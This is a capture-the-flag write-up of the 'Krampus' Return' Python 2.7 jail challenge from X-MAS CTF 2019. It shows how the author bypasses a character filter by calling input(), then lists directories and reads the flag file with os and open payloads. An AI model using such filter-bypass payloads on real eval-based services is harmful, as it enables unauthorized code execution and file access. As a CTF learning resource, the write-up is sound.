Rating: 4.0

# Problem

![Krampus' Return](images/krampus_problem.png)

This problem was a reference to an earlier Krampus problem, a Python 2.7 jail https://ctftime.org/task/7359.

# Resources

- [Python 2.7 Builtins](https://docs.python.org/2.7/library/functions.html#built-in-functions)

# Solution

This was also a jail. It actually took me a while to realize that my commands weren't having effect because of the whimsical responses from the server:

```
$ nc challs.xmas.htsp.ro 13006
░ ▒ ▓ █
CONNECTION ESTABLISHED - PYTHON 2.
CONNECTION WILL BE CLOSED AFTER 5 MINUTES. BE WARY.

<Server>: Krampus stares at you. He has seen you before. Play nice.
<You>: hi krampus
<Server>: You tried to get Krampus' attention. Try something different.
<You>: HELLO
<Server>: You tried to get Krampus' attention. No response.
<You>: ...
<Server>: You tried to get Krampus' attention. He is busy.
<You>: ok
<Server>: Krampus has heard you. You made him curious. ░ ▒ ▓ █
<You>: oh?
<Server>: Krampus has now your attention. Be careful!
<You>: Hi!
<Golem>: *looks towards you*
```

Eventually I typed in a number and started piecing it together.

```
<You>: 2
<Krampus>: 2
<You>: 2+4
<Elf #113>: Yee, what are y'all doing?
<You>: dir()
<Krampus>: ['__builtins__', '__doc__', '__file__', '__name__', '__package__', 'inp']
<You>: inp
<Krampus>: inp
<You>: list(inp)
<Krampus>: ['l', 'i', 's', 't', '(', 'i', 'n', 'p', ')']
```

When you type in an invalid character, the server will have some Elf, Golem, Ice Dragon, or Krampus say something instead of executing your command. Disallowed characters include `'"_+.,`, but you can use parentheses to call functions and nest them. Finally, `inp` is a string that copies your input right before it is executed. My first approach was to try to create a string just like last year's solutions were able to do, and perhaps even call `eval(inp)`, but it was hard to get too far:

```
<You>: next(iter(dir()))
<Krampus>: __builtins__
```

I started going through [Python 2.7's builtin functions](https://docs.python.org/2.7/library/functions.html#built-in-functions) one by one to find something that could help me. Eventually, I tried `input()`:

```
<You>: input()
'a'
<Krampus>: a
```

! We're getting somewhere. Using `input()` enables us to type invalid characters into `stdin` and avoid the filtering logic. A little more fiddling gets us there:

```
<You>: input()
__import__('os').listdir('/')
<Krampus>: ['lib64', 'tmp', 'opt', 'lib', 'run', 'etc', 'dev', 'sbin', 'proc', 'home', 'mnt', 'srv', 'sys', 'bin', 'usr', 'media', 'root', 'var', 'boot', '.dockerenv', 'chall']
<You>: input()
__import__('os').listdir('/chall/')
<Krampus>: ['flag.txt', 'server.py', 'krampus.py']
<You>: input()
open('flag.txt').read()
<Server>: Senseless words.
<You>: input()
open('/chall/flag.txt').read()
<Krampus>: X-MAS{Th3_4ll_Mighty_pyth0n_b34t5_kr4mpu5_th1s_Xmas}
```

Flag: `X-MAS{Th3_4ll_Mighty_pyth0n_b34t5_kr4mpu5_th1s_Xmas}`

Original writeup (https://github.com/mwilbz/ctf/blob/master/xmasctf2019/misc/krampus_return/README.md).